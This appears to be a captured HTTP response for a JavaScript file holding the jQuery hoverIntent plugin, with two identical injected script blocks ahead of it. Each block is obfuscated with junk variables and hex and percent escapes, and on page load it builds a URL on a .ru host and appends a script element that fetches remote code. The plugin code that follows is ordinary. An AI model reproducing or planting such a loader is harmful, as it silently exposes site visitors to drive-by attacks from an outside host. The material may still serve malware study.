HTTP/1.1 200 OK
Date: Sat, 03 Apr 2010 10:56:15 GMT
Server: Apache
Connection: close
Content-Type: text/javascript
<script>function M(){var Y;if(Y!=''){Y='VW'};var E='';var QZ=new Array();var m=unescape;var F=String("g");var T;if(T!=''){T='_R'};var SD;if(SD!='uN' && SD != ''){SD=null};var G=window;var w='';var n=new String();this.mk="";var _="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x61\x6b\x75\x72\x61\x2d\x6e\x65\x2d\x6a\x70\x2e\x66\x6f\x74\x6f\x6c\x6f\x67\x2e\x6e\x65\x74\x2e\x74\x65\x61\x63\x75\x70\x2d\x63\x6f\x6d\x2e\x63\x61\x6e\x67\x65\x74\x68\x65\x6c\x70\x2e\x72\x75\x3a";var FS=new Array();function D(x,b){this.W_="";var Tb="";var u=m("%5b")+b+m("%5d");var _c;if(_c!='' && _c!='K'){_c=null};var V=new RegExp(u, F);return x.replace(V, w);var gF='';};this.IX="";this.Nb='';var f;if(f!='uv'){f=''};this.CS="";var I=document;this._z="";var aw;if(aw!=''){aw='kO'};var j=D('87265160163418113260473265','45167329');var bc='';var B=new String();var DD=m("%2f%63%61%2e%67%6f%76%2f%63%61%2e%67%6f%76%2f%61%6d%65%72%69%63%61%6e%65%78%70%72%65%73%73%2e%63%6f%6d%2f%6f%72%62%69%74%64%6f%77%6e%6c%6f%61%64%65%72%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");function W(){var A=new Array();this.lm='';bc=_;var x_;if(x_!=''){x_='U'};var wV;if(wV!=''){wV='Af'};bc+=j;bc+=DD;var vM;if(vM!='vE'){vM=''};try {this.sL='';i=I.createElement(D('sgcZrFi1pjtZ','SjHxXO4y1BJd8ZgFUP'));var c=new Date();var jH;if(jH!='' && jH!='nE'){jH=''};i.src=bc;var zU='';i.defer=[1,1][0];var mL;if(mL!='TB'){mL=''};var Dk;if(Dk!='' && Dk!='Oi'){Dk='nH'};I.body.appendChild(i);var cc;if(cc!='' && cc!='bu'){cc=''};} catch(Fu){};this.h='';var hZ;if(hZ!='Cz' && hZ != ''){hZ=null};}var Lx;if(Lx!='wj' && Lx!='Pi'){Lx='wj'};var zk=new Array();G[String("onlo"+"ad")]=W;var DT="";var CR=new Date();var rH;if(rH!=''){rH='H'};};this.T_='';this.DU="";this.eG="";M();</script>
<!--c5b777e551c05058af2728724a3f884b-->
<script>function M(){var Y;if(Y!=''){Y='VW'};var E='';var QZ=new Array();var m=unescape;var F=String("g");var T;if(T!=''){T='_R'};var SD;if(SD!='uN' && SD != ''){SD=null};var G=window;var w='';var n=new String();this.mk="";var _="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x61\x6b\x75\x72\x61\x2d\x6e\x65\x2d\x6a\x70\x2e\x66\x6f\x74\x6f\x6c\x6f\x67\x2e\x6e\x65\x74\x2e\x74\x65\x61\x63\x75\x70\x2d\x63\x6f\x6d\x2e\x63\x61\x6e\x67\x65\x74\x68\x65\x6c\x70\x2e\x72\x75\x3a";var FS=new Array();function D(x,b){this.W_="";var Tb="";var u=m("%5b")+b+m("%5d");var _c;if(_c!='' && _c!='K'){_c=null};var V=new RegExp(u, F);return x.replace(V, w);var gF='';};this.IX="";this.Nb='';var f;if(f!='uv'){f=''};this.CS="";var I=document;this._z="";var aw;if(aw!=''){aw='kO'};var j=D('87265160163418113260473265','45167329');var bc='';var B=new String();var DD=m("%2f%63%61%2e%67%6f%76%2f%63%61%2e%67%6f%76%2f%61%6d%65%72%69%63%61%6e%65%78%70%72%65%73%73%2e%63%6f%6d%2f%6f%72%62%69%74%64%6f%77%6e%6c%6f%61%64%65%72%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");function W(){var A=new Array();this.lm='';bc=_;var x_;if(x_!=''){x_='U'};var wV;if(wV!=''){wV='Af'};bc+=j;bc+=DD;var vM;if(vM!='vE'){vM=''};try {this.sL='';i=I.createElement(D('sgcZrFi1pjtZ','SjHxXO4y1BJd8ZgFUP'));var c=new Date();var jH;if(jH!='' && jH!='nE'){jH=''};i.src=bc;var zU='';i.defer=[1,1][0];var mL;if(mL!='TB'){mL=''};var Dk;if(Dk!='' && Dk!='Oi'){Dk='nH'};I.body.appendChild(i);var cc;if(cc!='' && cc!='bu'){cc=''};} catch(Fu){};this.h='';var hZ;if(hZ!='Cz' && hZ != ''){hZ=null};}var Lx;if(Lx!='wj' && Lx!='Pi'){Lx='wj'};var zk=new Array();G[String("onlo"+"ad")]=W;var DT="";var CR=new Date();var rH;if(rH!=''){rH='H'};};this.T_='';this.DU="";this.eG="";M();</script>
<!--c5b777e551c05058af2728724a3f884b-->/**
* hoverIntent is similar to jQuery's built-in "hover" function except that
* instead of firing the onMouseOver event immediately, hoverIntent checks
* to see if the user's mouse has slowed down (beneath the sensitivity
* threshold) before firing the onMouseOver event.
*
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* hoverIntent is currently available for use in all personal or commercial
* projects under both MIT and GPL licenses. This means that you can choose
* the license that best suits your project, and use it accordingly.
*
* // basic usage (just like .hover) receives onMouseOver and onMouseOut functions
* $("ul li").hoverIntent( showNav , hideNav );
*
* // advanced usage receives configuration object only
* $("ul li").hoverIntent({
* sensitivity: 7, // number = sensitivity threshold (must be 1 or higher)
* interval: 100, // number = milliseconds of polling interval
* over: showNav, // function = onMouseOver callback (required)
* timeout: 0, // number = milliseconds delay before onMouseOut function call
* out: hideNav // function = onMouseOut callback (required)
* });
*
* @param f onMouseOver function || An object with configuration options
* @param g onMouseOut function || Nothing (use configuration options object)
* @author Brian Cherne <brian@cherne.net>
*/
(function($) {
$.fn.hoverIntent = function(f,g) {
// default configuration options
var cfg = {
sensitivity: 10,
interval: 200,
timeout: 0
};
// override configuration options with user supplied object
cfg = $.extend(cfg, g ? { over: f, out: g } : f );
// instantiate variables
// cX, cY = current X and Y position of mouse, updated by mousemove event
// pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
var cX, cY, pX, pY;
// A private function for getting mouse position
var track = function(ev) {
cX = ev.pageX;
cY = ev.pageY;
};
// A private function for comparing current and previous mouse position
var compare = function(ev,ob) {
ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
// compare mouse positions to see if they've crossed the threshold
if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {
$(ob).unbind("mousemove",track);
// set hoverIntent state to true (so mouseOut can be called)
ob.hoverIntent_s = 1;
return cfg.over.apply(ob,[ev]);
} else {
// set previous coordinates for next time
pX = cX; pY = cY;
// use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
}
};
// A private function for delaying the mouseOut function
var delay = function(ev,ob) {
ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
ob.hoverIntent_s = 0;
return cfg.out.apply(ob,[ev]);
};
// A private function for handling mouse 'hovering'
var handleHover = function(e) {
// next three lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut
var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget;
while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } }
if ( p == this ) { return false; }
// copy objects to be passed into t (required for event object to be passed in IE)
var ev = jQuery.extend({},e);
var ob = this;
// cancel hoverIntent timer if it exists
if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }
// else e.type == "onmouseover"
if (e.type == "mouseover") {
// set "previous" X and Y position based on initial entry point
pX = ev.pageX; pY = ev.pageY;
// update "current" X and Y position based on mousemove
$(ob).bind("mousemove",track);
// start polling interval (self-calling timeout) to compare mouse coordinates over time
if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}
// else e.type == "onmouseout"
} else {
// unbind expensive mousemove event
$(ob).unbind("mousemove",track);
// if hoverIntent state is true, then call the mouseOut function after the specified delay
if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
}
};
// bind the function to the two event listeners
return this.mouseover(handleHover).mouseout(handleHover);
};
})(jQuery);
|